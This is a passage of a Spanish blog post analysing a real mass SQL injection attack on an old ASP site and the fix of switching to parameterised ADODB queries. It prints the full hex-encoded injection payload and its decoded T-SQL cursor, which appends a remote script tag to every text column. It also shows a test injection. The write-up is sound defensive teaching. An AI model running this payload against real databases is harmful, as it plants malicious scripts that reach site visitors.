245205461626C655F437572736F7220435552534F5220464F5220
53454C45435420612E6E616D652C622E6E616D652046524F4D207
379736F626A6563747320612C737973636F6C756D6E7320622057
4845524520612E69643D622E696420414E4420612E78747970653
D27752720414E442028622E78747970653D3939204F5220622E78
747970653D3335204F5220622E78747970653D323331204F52206
22E78747970653D31363729204F50454E205461626C655F437572
736F72204645544348204E4558542046524F4D205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046
455443485F5354415455533D302920424547494E2045584543282
7555044415445205B272B40542B275D20534554205B272B40432B
275D3D525452494D28434F4E56455254285641524348415228343
03030292C5B272B40432B275D29292B27273C7363726970742073
72633D687474703A2F2F7777772E2E636F6D2F6E67672E6A733E3
C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C4043204
54E4420434C4F5345205461626C655F437572736F72204445414C4
C4F43415445205461626C655F437572736F7220%20AS%20
VARCHAR(4000));EXEC(@S);--

Limpiando un poco lo agregado:

DECLARE @S VARCHAR(4000);
SET @S=CAST(0x4445434C415245204054205641524348415228
323535292C404320564152434841522832353529204445434C415
245205461626C655F437572736F7220435552534F5220464F5220
53454C45435420612E6E616D652C622E6E616D652046524F4D207
379736F626A6563747320612C737973636F6C756D6E7320622057
4845524520612E69643D622E696420414E4420612E78747970653
D27752720414E442028622E78747970653D3939204F5220622E78
747970653D3335204F5220622E78747970653D323331204F52206
22E78747970653D31363729204F50454E205461626C655F437572
736F72204645544348204E4558542046524F4D205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046
455443485F5354415455533D302920424547494E2045584543282
7555044415445205B272B40542B275D20534554205B272B40432B
275D3D525452494D28434F4E56455254285641524348415228343
03030292C5B272B40432B275D29292B27273C7363726970742073
72633D687474703A2F2F7777772E2E636F6D2F6E67672E6A733E3
C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C4043204
54E4420434C4F5345205461626C655F437572736F72204445414C4
C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));
EXEC(@S);--

ésta sentencia le estaba llegando al motor de base de datos SQL Server un Exec de @S donde @S era:

CAST(0x4445434C41524520405
4205641524348415228323535292C404320564152434841522832
353529204445434C415245205461626C655F437572736F7220435
552534F5220464F522053454C45435420612E6E616D652C622E6E
616D652046524F4D207379736F626A6563747320612C737973636
F6C756D6E73206220574845524520612E69643D622E696420414E
4420612E78747970653D27752720414E442028622E78747970653
D3939204F5220622E78747970653D3335204F5220622E78747970
653D323331204F5220622E78747970653D31363729204F50454E2
05461626C655F437572736F72204645544348204E455854204652
4F4D205461626C655F437572736F7220494E544F2040542C40432
05748494C4528404046455443485F5354415455533D3029204245
47494E20455845432827555044415445205B272B40542B275D205
34554205B272B40432B275D3D525452494D28434F4E5645525428
564152434841522834303030292C5B272B40432B275D29292B272
73C736372697074207372633D687474703A2F2F7777772E2E636F
6D2F6E67672E6A733E3C2F7363726970743E27272729204645544
348204E4558542046524F4D205461626C655F437572736F722049
4E544F2040542C404320454E4420434C4F5345205461626C655F4
37572736F72204445414C4C4F43415445205461626C655F437572
736F7220 AS VARCHAR(4000))

Ejecutando finalmente el CAST, pudimos llegar a lo que el hacker había preparado para nuestro motor de base de datos:

DECLARE @T VARCHAR(255),@C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
 SELECT
  a.name,b.name
 FROM
  sysobjects a,syscolumns b
 WHERE
  a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor
 FETCH NEXT FROM Table_Cursor INTO @T,@C
 WHILE(@@FETCH_STATUS=0)
 BEGIN

  EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script
  src=http://www..com/ngg.js></script>''')
  FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor

DEALLOCATE Table_Cursor

La sentencia SQL (casteada a un Image para evitar problemas en el QueryString) buscaba todos los los campos de texto del servidor de base de datos (como puede verse recorre todas las bases de datos, tablas y campos del motor) y les agregaba al final del texto lo siguente:

<script src=http://www..com/ngg.js></script>
(El dominio al que accedía fue eliminado por nosotros)

De ésta esta forma cuando desde una página web se mostraran los datos leídos desde la base de datos, el cliente se estaba bajando un javascript que no sería un ‘hola mundo’ seguramente. Con un caso 100% del mundo real podemos ver cuán dañino puede ser un ataque por SQL Injection. El problema lo solucionamos modificando todas las consultas del sitio para que empleen parámetros y no concatenen más las sentencias, las consultas del tipo:

Dim rs, conn
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "Provider...."
Set rs = Server.CreateObject("ADODB.recordset")
strSQL = "SELECT id, email, password FROM users WHERE email = '" + strEmail + "'"
rs.open strSQL, conn

Fueron reemplazadas por :

Dim cmd, rs, conn
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "Provider...."
Set Cmd = Server.CreateObject("ADODB.Command")
Cmd.ActiveConnection = Conn
Cmd.CommandText = "SELECT id, email, password FROM users WHERE email = ?"
Cmd.CommandType = 1
Cmd.Parameters.Append Cmd.CreateParameter("P1", 200, 1, 100, strEmail)
Set rs = Server.CreateObject(”ADODB.recordset”)
rs.open Cmd

Luego probamos que el sitio haya quedado inmunizado empleando la misma táctica que uso el hacker creamos una tabla de pruebas:

CREATE TABLE [dbo].[dummytest](
    [dummyfield] [nvarchar](50) COLLATE Modern_Spanish_CI_AS NULL
) ON [PRIMARY]

y creamos el siguiente SQL Injection para hacer las pruebas:

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);
INSERT INTO dummytest (dummyfield) VALUES ('HACKED')

De esta forma pudimos, luego de modificar los querys, probar todo el sitio (que poseía unas cuantas páginas) con esta especie de “vacuna Injection”. Pasando el sitio de ODBC a OleDB (al menos le actualizamos un poco el acceso a datos) e inmunizándolo de ataques por SQL Injection, le dimos al viejo sitio un poco de sangre nueva.

El resumen de todo esto no es solamente la confirmación de que siempre hay que utilizar parámetros en las consultas, sino también el reconocimiento de la habilidades y conocimientos de quienes intentan encontrar vulnerabilidades en las aplicaciones, la idea de que hay que programar en forma responsable y mantenerse actualizado en materia de seguridad, que no es solo un asunto de administradores, hoy día la creatividad en los ataques a sitios hace que la seguridad sea tema de toda el área que interviene en la creación y vida de un proyecto.
Lo único que quedo por saberse es ¿qué contenía el javascript?, cuando intentamos bajarlo para ver de que se trataba, ya no era posible acceder al servidor que lo contenia, el sitio ya no estaba más. pero seguramente ya debe estar en algún otro.

Dario M. Krapp

VN:F [1.7.3_972]
Rating: 7.8/10 (4 votos cast)